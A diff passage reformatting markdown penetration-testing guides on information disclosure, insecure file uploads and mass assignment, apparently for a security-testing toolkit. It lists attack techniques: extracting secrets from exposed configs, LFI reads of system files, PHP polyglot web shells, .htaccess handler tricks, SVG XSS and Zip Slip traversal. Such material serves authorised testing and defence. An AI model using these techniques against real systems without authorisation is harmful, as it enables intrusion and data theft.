- Backups/temp: .bak/.old/~/.swp/.swo/.tmp/.orig, db dumps, zipped deployments under /backup/, /old/, /archive/
|
- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments
|
||||||
- Build artifacts: dist artifacts containing .map, env prints, internal URLs
|
- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs
|
||||||
|
|
||||||
### Configs And Secrets
|
### Configs and Secrets
|
||||||
|
|
||||||
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
||||||
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens, cloud credentials files
|
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens
|
||||||
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
||||||
|
|
||||||
### Api Schemas And Introspection
|
### API Schemas and Introspection
|
||||||
|
|
||||||
- OpenAPI/Swagger: /swagger, /api-docs, /openapi.json — enumerate hidden/privileged operations
|
- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations
|
||||||
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields; persisted queries catalogs
|
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields
|
||||||
- gRPC: server reflection exposing services/messages; proto download via reflection
|
- gRPC: server reflection exposing services/messages
|
||||||
|
|
||||||
### Client Bundles And Maps
|
### Client Bundles and Maps
|
||||||
|
|
||||||
- Source maps (.map) reveal original sources, comments, and internal logic
|
- Source maps (`.map`) reveal original sources, comments, and internal logic
|
||||||
- Client env leakage: NEXT_PUBLIC_/VITE_/REACT_APP_ variables; runtime config; embedded secrets accidentally shipped
|
- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets
|
||||||
- Next.js data: __NEXT_DATA__ and pre-fetched JSON under /_next/data can include internal IDs, flags, or PII
|
- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII
|
||||||
- Static JSON/CSV feeds used by the UI that bypass server-side auth filtering
|
|
||||||
|
|
||||||
### Headers And Response Metadata
|
### Headers and Response Metadata
|
||||||
|
|
||||||
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
||||||
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
||||||
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range (partial content reveals)
|
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range
|
||||||
- Content sniffing and MIME metadata that implies backend components
|
|
||||||
|
|
||||||
### Storage And Exports
|
### Storage and Exports
|
||||||
|
|
||||||
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
||||||
- Signed URLs: long-lived, weakly scoped, re-usable across tenants; metadata leaks in headers
|
- Signed URLs: long-lived, weakly scoped, re-usable across tenants
|
||||||
- Export/report endpoints returning foreign data sets or unfiltered fields
|
- Export/report endpoints returning foreign data sets or unfiltered fields
|
||||||
|
|
||||||
### Observability And Admin
|
### Observability and Admin
|
||||||
|
|
||||||
- Metrics: Prometheus /metrics exposing internal hostnames, process args, SQL, credentials by mistake
|
- Metrics: Prometheus `/metrics` exposing internal hostnames, process args
|
||||||
- Health/config: /actuator/health, /actuator/env, Spring Boot info endpoints
|
- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints
|
||||||
- Tracing UIs and dashboards: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
||||||
|
|
||||||
### Directory And Indexing
|
### Cross-Origin Signals
|
||||||
|
|
||||||
- Autoindex on /uploads/, /files/, /logs/, /tmp/, /assets/
|
- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties
|
||||||
- Robots/sitemap reveal hidden paths, admin panels, export feeds
|
|
||||||
|
|
||||||
### Cross Origin Signals
|
|
||||||
|
|
||||||
- Referrer leakage: missing/referrer policy leading to path/query/token leaks to third parties
|
|
||||||
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
||||||
|
|
||||||
### File Metadata
|
### File Metadata
|
||||||
|
|
||||||
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
||||||
|
|
||||||
## Advanced Techniques
|
### Cloud Storage
|
||||||
|
|
||||||
### Differential Oracles
|
|
||||||
|
|
||||||
- Compare owner vs non-owner vs anonymous for the same resource and track: status, length, ETag, Last-Modified, Cache-Control
|
|
||||||
- HEAD vs GET: header-only differences can confirm existence or type without content
|
|
||||||
- Conditional requests: 304 vs 200 behaviors leak existence/state; binary search content size via Range requests
|
|
||||||
|
|
||||||
### Cdn And Cache Keys
|
|
||||||
|
|
||||||
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers → cross-user cached responses
|
|
||||||
- Vary misconfiguration: user-agent/language vary without auth vary leaks alternate content
|
|
||||||
- 206 partial content + stale caches leak object fragments
|
|
||||||
|
|
||||||
### Cross Channel Mirroring
|
|
||||||
|
|
||||||
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC; one channel leaks schema or fields hidden in others
|
|
||||||
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them; compare responses
|
|
||||||
|
|
||||||
### Introspection And Reflection
|
|
||||||
|
|
||||||
- GraphQL: disabled introspection still leaks via errors, fragment suggestions, and client bundles containing schema
|
|
||||||
- gRPC reflection: list services/messages and infer internal resource names and flows
|
|
||||||
|
|
||||||
### Cloud Specific
|
|
||||||
|
|
||||||
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
||||||
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
||||||
|
|
||||||
## Usefulness Assessment
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Actionable signals:
|
### Differential Oracles
|
||||||
- Secrets/keys/tokens that grant new access (DB creds, cloud keys, JWT signing/refresh, signed URL secrets)
|
|
||||||
- Versions with a reachable, unpatched CVE on an exposed path
|
- Compare owner vs non-owner vs anonymous for the same resource
|
||||||
- Cross-tenant identifiers/data or per-user fields that differ by principal
|
- Track: status, length, ETag, Last-Modified, Cache-Control
|
||||||
- File paths, service hosts, or internal URLs that enable LFI/SSRF/RCE pivots
|
- HEAD vs GET: header-only differences can confirm existence
|
||||||
- Cache/CDN differentials (Vary/ETag/Range) that expose other users' content
|
- Conditional requests: 304 vs 200 behaviors leak existence/state
|
||||||
- Schema/introspection revealing hidden operations or fields that return sensitive data
|
|
||||||
- Likely benign or intended:
|
### CDN and Cache Keys
|
||||||
- Public docs or non-sensitive metadata explicitly documented as public
|
|
||||||
- Generic server names without precise versions or exploit path
|
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers
|
||||||
- Redacted/sanitized fields with stable length/ETag across principals
|
- Vary misconfiguration: user-agent/language vary without auth vary leaks content
|
||||||
- Per-user data visible only to the owner and consistent with privacy policy
|
- 206 partial content + stale caches leak object fragments
|
||||||
|
|
||||||
|
### Cross-Channel Mirroring
|
||||||
|
|
||||||
|
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC
|
||||||
|
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them
|
||||||
|
|
||||||
## Triage Rubric
|
## Triage Rubric
|
||||||
|
|
||||||
- Critical: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
|
- **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
|
||||||
- High: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content; schema enabling auth bypass
|
- **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content
|
||||||
- Medium: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints/IDs
|
- **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints
|
||||||
- Low: Generic headers, marketing versions, intended documentation without exploit path
|
- **Low**: Generic headers, marketing versions, intended documentation without exploit path
|
||||||
- Guidance: Always attempt a minimal, reversible proof for Critical/High; if no safe chain exists, document precise blocker and downgrade
|
|
||||||
|
|
||||||
## Escalation Playbook
|
|
||||||
|
|
||||||
- If DVCS/backups/configs → extract secrets; test least-privileged read; rotate after coordinated disclosure
|
|
||||||
- If versions → map to CVE; verify exposure; execute minimal PoC under strict scope
|
|
||||||
- If schema/introspection → call hidden/privileged fields with non-owner tokens; confirm auth gaps
|
|
||||||
- If source maps/client JSON → mine endpoints/IDs/flags; pivot to IDOR/listing; validate filtering
|
|
||||||
- If cache/CDN keys → demonstrate cross-user cache leak via Vary/ETag/Range; escalate to broken access control
|
|
||||||
- If paths/hosts → target LFI/SSRF with harmless reads (e.g., /etc/hostname, metadata headers); avoid destructive actions
|
|
||||||
- If observability/admin → enumerate read-only info first; prove data scope breach; avoid write/exec operations
|
|
||||||
|
|
||||||
## Exploitation Chains
|
## Exploitation Chains
|
||||||
|
|
||||||
### Credential Extraction
|
### Credential Extraction
|
||||||
|
|
||||||
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
||||||
- Keys → cloud control plane access; rotate and verify scope
|
- Keys → cloud control plane access
|
||||||
|
|
||||||
### Version To Cve
|
### Version to CVE
|
||||||
|
1. Derive precise component versions from headers/errors/bundles
|
||||||
|
2. Map to known CVEs and confirm reachability
|
||||||
|
3. Execute minimal proof targeting disclosed component
|
||||||
|
|
||||||
1. Derive precise component versions from headers/errors/bundles.
|
### Path Disclosure to LFI
|
||||||
2. Map to known CVEs and confirm reachability.
|
1. Paths from stack traces/templates reveal filesystem layout
|
||||||
3. Execute minimal proof targeting disclosed component.
|
2. Use LFI/traversal to fetch config/keys
|
||||||
|
|
||||||
### Path Disclosure To Lfi
|
### Schema to Auth Bypass
|
||||||
|
1. Schema reveals hidden fields/endpoints
|
||||||
|
2. Attempt requests with those fields; confirm missing authorization
|
||||||
|
|
||||||
1. Paths from stack traces/templates reveal filesystem layout.
|
## Testing Methodology
|
||||||
2. Use LFI/traversal to fetch config/keys.
|
|
||||||
3. Prove controlled access without altering state.
|
|
||||||
|
|
||||||
### Schema To Auth Bypass
|
1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN
|
||||||
|
2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers
|
||||||
1. Schema reveals hidden fields/endpoints.
|
3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types
|
||||||
2. Attempt requests with those fields; confirm missing authorization or field filtering.
|
4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs
|
||||||
|
5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Provide raw evidence (headers/body/artifact) and explain exact data revealed.
|
1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
|
||||||
2. Determine intent: cross-check docs/UX; classify per triage rubric (Critical/High/Medium/Low).
|
2. Determine intent: cross-check docs/UX; classify per triage rubric
|
||||||
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain (what to try next and why).
|
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
|
||||||
4. Show reproducibility and minimal request set; include cross-channel confirmation where applicable.
|
4. Show reproducibility and minimal request set
|
||||||
5. Bound scope (user, tenant, environment) and data sensitivity classification.
|
5. Bound scope (user, tenant, environment) and data sensitivity classification
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
- Intentional public docs or non-sensitive metadata with no exploit path
|
- Intentional public docs or non-sensitive metadata with no exploit path
|
||||||
- Generic errors with no actionable details
|
- Generic errors with no actionable details
|
||||||
- Redacted fields that do not change differential oracles (length/ETag stable)
|
- Redacted fields that do not change differential oracles
|
||||||
- Version banners with no exposed vulnerable surface and no chain
|
- Version banners with no exposed vulnerable surface and no chain
|
||||||
- Owner-visible-only details that do not cross identity/tenant boundaries
|
- Owner-visible-only details that do not cross identity/tenant boundaries
|
||||||
|
|
||||||
@@ -211,14 +170,14 @@ Information leaks accelerate exploitation by revealing code, configuration, iden
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins.
|
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins
|
||||||
2. Normalize responses and diff by digest to reduce noise when comparing roles.
|
2. Normalize responses and diff by digest to reduce noise when comparing roles
|
||||||
3. Hunt source maps and client data JSON; they often carry internal IDs and flags.
|
3. Hunt source maps and client data JSON; they often carry internal IDs and flags
|
||||||
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant.
|
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant
|
||||||
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC; validate per environment.
|
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC
|
||||||
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups.
|
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups
|
||||||
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible.
|
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.
|
Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.
|
||||||
|
|||||||
@@ -1,24 +1,20 @@
|
|||||||
# INSECURE FILE UPLOADS
|
---
|
||||||
|
name: insecure-file-uploads
|
||||||
|
description: File upload security testing covering extension bypass, content-type manipulation, and path traversal
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Insecure File Uploads
|
||||||
|
|
||||||
Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.
|
Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
||||||
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
||||||
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
||||||
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
||||||
|
|
||||||
## Methodology
|
## Reconnaissance
|
||||||
|
|
||||||
1. Map the pipeline: client → ingress (edge/app/gateway) → storage → processors (thumb, OCR, AV, CDR) → serving (app/storage/CDN). Note where validation and auth occur.
|
|
||||||
2. Identify allowed types, size limits, filename rules, storage keys, and who serves the content. Collect baseline uploads per type and capture resulting URLs and headers.
|
|
||||||
3. Exercise bypass families systematically: extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure, chunk/finalize differentials.
|
|
||||||
4. Validate execution and rendering: can uploaded content execute on server or client? Confirm with minimal PoCs and headers analysis.
|
|
||||||
|
|
||||||
## Discovery Techniques
|
|
||||||
|
|
||||||
### Surface Map
|
### Surface Map
|
||||||
|
|
||||||
@@ -45,7 +41,7 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
|||||||
|
|
||||||
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
||||||
|
|
||||||
### Header And Render
|
### Header and Render
|
||||||
|
|
||||||
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
||||||
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
||||||
@@ -56,26 +52,26 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
|||||||
|
|
||||||
## Core Payloads
|
## Core Payloads
|
||||||
|
|
||||||
### Web Shells And Configs
|
### Web Shells and Configs
|
||||||
|
|
||||||
- PHP: GIF polyglot (starts with GIF89a) followed by <?php echo 1; ?>; place where PHP is executed
|
- PHP: GIF polyglot (starts with GIF89a) followed by `<?php echo 1; ?>`; place where PHP is executed
|
||||||
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
||||||
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
||||||
|
|
||||||
### Stored Xss
|
### Stored XSS
|
||||||
|
|
||||||
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
||||||
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
||||||
|
|
||||||
### Mime Magic Polyglots
|
### MIME Magic Polyglots
|
||||||
|
|
||||||
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
||||||
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
||||||
|
|
||||||
### Archive Attacks
|
### Archive Attacks
|
||||||
|
|
||||||
- Zip Slip: entries with ../../ to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
- Zip Slip: entries with `../../` to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
||||||
- Zip bomb: extreme compression ratios (e.g., 42.zip) to exhaust resources in processors
|
- Zip bomb: extreme compression ratios to exhaust resources in processors
|
||||||
|
|
||||||
### Toolchain Exploits
|
### Toolchain Exploits
|
||||||
|
|
||||||
@@ -86,7 +82,8 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
|||||||
### Cloud Storage Vectors
|
### Cloud Storage Vectors
|
||||||
|
|
||||||
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
||||||
- Public-read ACL or permissive bucket policies expose uploads broadly; object key injection via user-controlled path prefixes
|
- Public-read ACL or permissive bucket policies expose uploads broadly
|
||||||
|
- Object key injection via user-controlled path prefixes
|
||||||
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
||||||
|
|
||||||
## Advanced Techniques
|
## Advanced Techniques
|
||||||
@@ -94,33 +91,35 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
|||||||
### Resumable Multipart
|
### Resumable Multipart
|
||||||
|
|
||||||
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
||||||
- Upload benign chunks, then swap last chunk or complete with different source if server trusts client-side digests only
|
- Upload benign chunks, then swap last chunk or complete with different source
|
||||||
|
|
||||||
### Filename And Path
|
### Filename and Path
|
||||||
|
|
||||||
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators and filesystem rules
|
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators
|
||||||
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
||||||
|
|
||||||
### Processing Races
|
### Processing Races
|
||||||
|
|
||||||
- Request file immediately after upload but before AV/CDR completes; or during derivative creation to get unprocessed content
|
- Request file immediately after upload but before AV/CDR completes
|
||||||
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
||||||
|
|
||||||
### Metadata Abuse
|
### Metadata Abuse
|
||||||
|
|
||||||
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws; payloads in document properties of Office/PDF rendered by previewers
|
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws
|
||||||
|
- Payloads in document properties of Office/PDF rendered by previewers
|
||||||
|
|
||||||
### Header Manipulation
|
### Header Manipulation
|
||||||
|
|
||||||
- Force inline rendering with Content-Type + inline Content-Disposition; test browsers with and without nosniff
|
- Force inline rendering with Content-Type + inline Content-Disposition
|
||||||
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
||||||
|
|
||||||
## Filter Bypasses
|
## Bypass Techniques
|
||||||
|
|
||||||
### Validation Gaps
|
### Validation Gaps
|
||||||
|
|
||||||
- Client-side only checks; relying on JS/MIME provided by browser; trusting multipart boundary part headers blindly
|
- Client-side only checks; relying on JS/MIME provided by browser
|
||||||
- Extension allowlists without server-side content inspection; magic-bytes only without full parsing
|
- Trusting multipart boundary part headers blindly
|
||||||
|
- Extension allowlists without server-side content inspection
|
||||||
|
|
||||||
### Evasion Tricks
|
### Evasion Tricks
|
||||||
|
|
||||||
@@ -131,38 +130,37 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
|||||||
|
|
||||||
### Rich Text Editors
|
### Rich Text Editors
|
||||||
|
|
||||||
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers for embedded content
|
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers
|
||||||
|
|
||||||
### Mobile Clients
|
### Mobile Clients
|
||||||
|
|
||||||
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations or EXIF orientation
|
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations
|
||||||
|
|
||||||
### Serverless And Cdn
|
### Serverless and CDN
|
||||||
|
|
||||||
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify that security decisions are not delegated to frontends
|
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify security decisions are not delegated to frontends
|
||||||
- CDN caching of uploaded content; ensure correct cache keys and headers (attachment, nosniff)
|
- CDN caching of uploaded content; ensure correct cache keys and headers
|
||||||
|
|
||||||
## Parser Hardening
|
## Testing Methodology
|
||||||
|
|
||||||
- Validate on server: strict allowlist by true type (parse enough to confirm), size caps, and structural checks (dimensions, page count)
|
1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
|
||||||
- Strip active content: convert SVG→PNG; remove scripts/JS from PDF; disable macros; normalize EXIF; consider CDR for risky types
|
2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
|
||||||
- Store outside web root; serve via application or signed, time-limited URLs with Content-Disposition: attachment and X-Content-Type-Options: nosniff
|
3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
|
||||||
- For cloud: private buckets, per-request signed GET, enforce Content-Type/Disposition on GET responses from your app/gateway
|
4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
|
||||||
- Disable execution in upload paths; ignore .htaccess/.user.ini; sanitize keys to prevent path injections; randomize filenames
|
5. **Validate execution** - Can uploaded content execute on server or client?
|
||||||
- AV + CDR: scan synchronously when possible; quarantine until verdict; block password-protected archives or process in sandbox
|
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed.
|
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed
|
||||||
2. Show filter bypass: upload accepted despite restrictions (extension/MIME/magic mismatch) with evidence on retrieval.
|
2. Show filter bypass: upload accepted despite restrictions with evidence on retrieval
|
||||||
3. Prove header weaknesses: inline rendering without nosniff or missing attachment; present exact response headers.
|
3. Prove header weaknesses: inline rendering without nosniff or missing attachment
|
||||||
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory; derivative creation from malicious input.
|
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory
|
||||||
5. Provide reproducible steps: request/response for upload and subsequent access, with minimal PoCs.
|
5. Provide reproducible steps: request/response for upload and subsequent access
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
- Upload stored but never served back; or always served as attachment with strict nosniff
|
- Upload stored but never served back; or always served as attachment with strict nosniff
|
||||||
- Converters run in locked-down sandboxes with no external IO and no script engines; no path traversal on archive extraction
|
- Converters run in locked-down sandboxes with no external IO and no script engines
|
||||||
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
||||||
|
|
||||||
## Impact
|
## Impact
|
||||||
@@ -170,21 +168,21 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
|
|||||||
- Remote code execution on application stack or media toolchain host
|
- Remote code execution on application stack or media toolchain host
|
||||||
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
||||||
- Malware distribution via public storage/CDN; brand/reputation damage
|
- Malware distribution via public storage/CDN; brand/reputation damage
|
||||||
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs or oversized assets
|
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs
|
||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant, and benign magic-byte polyglots.
|
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant
|
||||||
2. Always capture download response headers and final MIME from the server/CDN; that decides browser behavior.
|
2. Always capture download response headers and final MIME; that decides browser behavior
|
||||||
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than attempting complex sanitization.
|
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than complex sanitization
|
||||||
4. In presigned flows, constrain all headers and object keys server-side; ignore client-supplied ACL and metadata.
|
4. In presigned flows, constrain all headers and object keys server-side
|
||||||
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal.
|
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal
|
||||||
6. Test finalize/complete steps in resumable flows; many validations only run on init, not at completion.
|
6. Test finalize/complete steps in resumable flows; many validations only run on init
|
||||||
7. Verify background processors with EICAR and tiny polyglots; ensure quarantine gates access until safe.
|
7. Verify background processors with EICAR and tiny polyglots
|
||||||
8. When you cannot get execution, aim for stored XSS or header-driven script execution; both are impactful.
|
8. When you cannot get execution, aim for stored XSS or header-driven script execution
|
||||||
9. Validate that CDNs honor attachment/nosniff and do not override Content-Type/Disposition.
|
9. Validate that CDNs honor attachment/nosniff
|
||||||
10. Document full pipeline behavior per asset type; defenses must match actual processors and serving paths.
|
10. Document full pipeline behavior per asset type
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.
|
Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.
|
||||||
|
|||||||
@@ -1,147 +1,153 @@
|
|||||||
# MASS ASSIGNMENT
|
---
|
||||||
|
name: mass-assignment
|
||||||
|
description: Mass assignment testing for unauthorized field binding and privilege escalation via API parameters
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Mass Assignment
|
||||||
|
|
||||||
Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.
|
Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
|
- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
|
||||||
- Model binding in controllers/resolvers; ORM create/update helpers
|
- Model binding in controllers/resolvers; ORM create/update helpers
|
||||||
